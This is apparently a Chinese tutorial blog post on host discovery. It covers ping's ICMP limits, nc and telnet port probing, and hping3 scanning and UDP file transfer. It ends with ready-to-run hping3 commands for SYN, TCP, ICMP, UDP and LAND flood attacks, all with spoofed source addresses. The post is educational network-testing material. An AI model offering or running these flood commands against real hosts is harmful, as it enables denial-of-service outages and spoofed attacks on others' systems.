ping 命令是检测网络是否畅通的通用工具之一,在win/linux/mac上基本都内置了这个命令,大部分都使用过这个来验证网络是否通畅。
这里要顺带说下ping默认发送的是ICMP报文,很多新手朋友认为ping不通就是网络不通,实际情况并不是如此,如果对方主机在线并设置了不响应ICMP回显,即不回应ICMP报文,那么是ping不通的,但是主机是真实在线的只是不响应而已,所以单单依靠ping来判断对方主机是否存活是不合理的。(一般系统默认策略都是开启ping的回显,不过我个人喜欢把这个回显给关闭掉,如果我们同属一个局域网你想探测到我的ip,那么就得提升探测方法,可以用更重的类似nmap,masscan加更深的探测参数)
一般确认一个主机是否存活,可以试探性的用nc,telnet这种来验证,比如我的主机192.168.8.8,开启基于8080端口的http服务,基于445端口的smb服务,但是关闭了ICMP回显,这个时候你ping 192.168.8.8这个ip地址是不通的。但是你用telnet 192.168.8.8 8080或者nc 192.168.8.8 445,你会发现能连接上,这两个通的,那么即使这个主机关闭了ICMP回显也可以确认这个主机肯定是存活在线的。
下面说说hping
hping分几个版本,Hping3是一款免费的数据包生成器和分析器。可用于安全审计、防火墙规则测试、网络测试、端口扫描、性能测试,压力测试(DOS),几乎可以发送任意类型的TCP/IP数据包。功能强大,但是每次只能向一个IP地址发送数据包,还能够在两个相互包含的通道之间传送文件。
Hping3测试
命令:hping3 -1 192.168.1.181(类似于ping命令)
单端口探测
命令:hping3 -I eth0 -p 22 -c 1 -S 192.168.100.104
SYN+ACK表示22端口开放
命令:hping3 -I eth0 -p 21 -c 1 -S 192.168.100.104
RST+ACK表示21端口关闭或被过滤
多端口探测
命令:hping3 -8 1-1024 192.168.100.102
文件传输
发送端:hping3 -2 -p 1373 192.168.100.102 -d 100 -E test.txt
-2 UDP模式 -p端口
-d 数据大小 -E 文件名
接收端:nc -lp 1373 -u -w 5 > recv.txt && cat recv.txt
-l 监听模式 -p 端口
-w 超时时间 -u UDP模式
主机发现
虽然hping3一次只能扫描一个IP,但是我们可以结合shell脚本语言完成整个网段的扫描。下面使用for循环来实现:
for addr in $(seq 1 254);do hping3 10.211.55.$addr -c 1 –icmp & done
DDoS攻击-Syn Flood攻击
hping3 -c 1000 -d 120 -S -p 80 --flood --rand-source 192.168.100.1
-c 指定连接数 -p 目标端口
-d 指定数据部分的大小 -S 攻击类型是Syn flood
--flood 以泛洪的方式攻击 -–rand-source 随机产生伪造源地址
-–rand-source 随机产生伪造源地址
DDoS攻击-TCP Flood攻击
hping3 -SARUPF -p 80 –-flood –-rand-source 192.168.100.1
DDoS攻击-ICMP Flood攻击
hping3 -q -n -d 200 --icmp --flood -a 11.11.11.11 192.168.100.1
-q安静模式 -n不解析域名 -a指定伪造IP
DDoS攻击-UDP Flood 攻击
hping3 --udp -s 6666 -p 53 -a 8.8.8.8 --flood 192.168.100.1
DDoS攻击-LAND攻击
hping3 -n -S -p 80 -a 192.168.100.1 --flood 192.168.100.1
可以搭建一个环境来验证一番,有必要我们可以在后续搭建环境实战一下,以介绍更多细节和Dos效果。